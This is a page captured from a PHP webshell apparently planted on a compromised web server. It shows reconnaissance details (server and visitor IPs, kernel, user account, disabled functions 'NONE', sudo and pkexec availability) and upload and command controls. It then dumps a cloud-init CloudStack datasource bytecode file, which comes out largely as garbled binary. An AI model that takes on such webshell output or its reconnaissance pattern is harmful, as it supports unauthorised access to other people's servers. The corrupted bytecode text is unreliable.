403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/sources/__pycache__/DataSourceCloudStack.cpython-36.pyc
3

��bo'�@s�ddlZddlZddlmZmZmZddlmZddlm	Z
ddlmZddlm
Z
mZddlmZddlmZdd	lmZeje�ZGd
d�de�ZGdd
�d
e
j�Zdd�Zdd�Zdd�Zddd�Zdd�Zee
j e
j!ffgZ"dd�Z#dS)�N)�gaierror�getaddrinfo�	inet_ntoa)�pack)�	ec2_utils)�log)�sources�subp)�
url_helper)�util)�dhcpc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�CloudStackPasswordServerClienta�
    Implements password fetching from the CloudStack password server.

    http://cloudstack-administration.readthedocs.org/
       en/latest/templates.html#adding-password-management-to-your-templates
    has documentation about the system.  This implementation is following that
    found at
    https://github.com/shankerbalan/cloudstack-scripts/
       blob/master/cloud-set-guest-password-debian
    cCs
||_dS)N)�virtual_router_address)�selfr�r�*/usr/lib/python3.6/DataSourceCloudStack.py�__init__*sz'CloudStackPasswordServerClient.__init__c
Cs:tjddddddddd	d
j|�dj|j�g�\}}|j�S)NZwgetz--quietz--tries�3z	--timeoutZ20z--output-document�-z--headerzDomU_Request: {0}z{0}:8080)r	�formatr�strip)rZdomu_request�output�_rrr�_do_request-sz*CloudStackPasswordServerClient._do_requestcCs4|jd�}|dkrdS|dkr&td��|jd�|S)NZsend_my_password��saved_passwordZbad_requestz-Error when attempting to fetch root password.)rr)r�RuntimeError)r�passwordrrr�get_passwordBs

z+CloudStackPasswordServerClient.get_passwordN)�__name__�
__module__�__qualname__�__doc__rrrrrrrr
s
r
c@sLeZdZdZdZdZdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
edd��ZdS)�DataSourceCloudStackZ
CloudStack�x�2cCsXtjj||||�tjj|jd�|_d|_t�|_	|j	s@t
d��d|j	f|_i|_dS)NZcsZlatestzNo virtual router found!z
http://%s/)
r�
DataSourcer�os�path�join�seed_dir�api_ver�get_vr_address�vr_addrr�metadata_address�cfg)rZsys_cfgZdistro�pathsrrrrTszDataSourceCloudStack.__init__cCs~|j�}|jdkrdStj|jd�g}tj�}tj||j|jtj	d�\}}|r\tj
d|�ntjd|ttj�|��t
|�S)NrFzlatest/meta-data/instance-id)�urlsZmax_waitZtimeoutZ	status_cbzUsing metadata source: '%s'z>Giving up on waiting for the metadata from %s after %s seconds)Zget_url_paramsZmax_wait_seconds�uhelpZcombine_urlr.�timeZwait_for_urlZtimeout_seconds�LOGZwarning�debugZcritical�int�bool)rZ
url_paramsr1�
start_timeZurlZ	_responserrr�wait_for_metadata_service`s$
z.DataSourceCloudStack.wait_for_metadata_servicecCs|jS)N)r/)rrrr�get_config_objsz#DataSourceCloudStack.get_config_objcCsi}tj||jdd�r>|d|_|d|_tjd|j�dSy�|j�sLdStj�}t	j
|j|j�|_t	j
|j|j�|_tjdttj�|��t|j�}y|j�}Wn$tk
r�tjtd	|j�YnX|r�d|d
did�|_dStk
�r
tjtd|j�dSXdS)
N�/)�basez	user-dataz	meta-dataz%Using seeded cloudstack data from: %sTFz)Crawl of metadata service took %s secondsz/Failed to fetch password from virtual router %sZexpire)Z
ssh_pwauthrZchpasswdz(Failed fetching from metadata service %s)rZread_optional_seedr*Zuserdata_raw�metadatar4r5r9r3�ec2Zget_instance_userdatar+r.Zget_instance_metadatar6r
r-r�	ExceptionZlogexcr/)rZseed_retr8Zpassword_clientZset_passwordrrr�	_get_data�sH


zDataSourceCloudStack._get_datacCs
|jdS)Nzinstance-id)r=)rrrr�get_instance_id�sz$DataSourceCloudStack.get_instance_idcCs
|jdS)Nzavailability-zone)r=)rrrr�availability_zone�sz&DataSourceCloudStack.availability_zoneN)
rr r!ZdsnameZurl_max_waitZurl_timeoutrr9r:r@rA�propertyrBrrrrr#Ls0r#cCsBytdd�}Wntk
r,tjd�dSX|dddSdS)Nzdata-server�PzDNS Entry data-server not foundr�)rrr4r5)Zaddrinforrr�get_data_server�s
rFcCs^tjd�j�}xJ|D]B}|jd�}|ddkrttdt|dd���}tjd|�|SqWdS)	Nz/proc/net/route�	�Z00000000z<L��z"Found default route, gateway is %s)	rZ	load_file�
splitlines�splitrrr6r4r5)�lines�line�itemsZgwrrr�get_default_gateway�s

rPcCsJdddg}x:|D]2}tjj|�rttj|��dkrtjd|�|SqWdS)Nz/var/lib/dhclientz
/var/lib/dhcpz/var/lib/NetworkManagerrzUsing %s lease directory)r'r(�exists�len�listdirr4r5)Zsupported_dirs�drrr�get_dhclient_d�s
rUcCs�|dkrt�}|sdStj|�}d}d}xX|D]P}|jd�r>q.|jd�pP|jd�sTq.tjj||�}tjj|�}||kr.|}|}q.W|S)NrHZ	dhclient6z.leasez.leases���)rUr'rS�
startswith�endswithr(r)�getmtime)Zlease_dZlease_filesZlatest_mtimeZlatest_fileZfnameZabs_path�mtimerrr�get_latest_lease�s$



r[cCs�t�}|rtjd|�|Stjd�}|r8tjd|�|St�}|sRtjd�t�St|d��P}xH|D]@}d|krd|jd�j	d�}t
|�d	krd|d	}tjd
|�|}qdWWdQRX|s�tjd�t�S|S)Nz4Found metadata server '%s' via data-server DNS entryZSERVER_ADDRESSz-Found SERVER_ADDRESS '%s' via networkd_leasesz*No lease file found, using default gateway�rzdhcp-server-identifierz ;
� rIzFound DHCP identifier %sz$No DHCP found, using default gateway)rFr4r5rZnetworkd_get_option_from_leasesr[rP�openrrLrR)Zlatest_addressZ
lease_file�fdrNZwordsZdhcptokrrrr,s6



r,cCstj|t�S)N)rZlist_from_depends�datasources)Zdependsrrr�get_datasource_list3sra)N)$r'r3Zsocketrrr�structrZ	cloudinitrr>rZloggingrr	r
r2rZ
cloudinit.netrZ	getLoggerrr4�objectr
r&r#rFrPrUr[r,ZDEP_FILESYSTEMZDEP_NETWORKr`rarrrr�<module>s&
.n

!-

Youez - 2016 - github.com/yon3zu
LinuXploit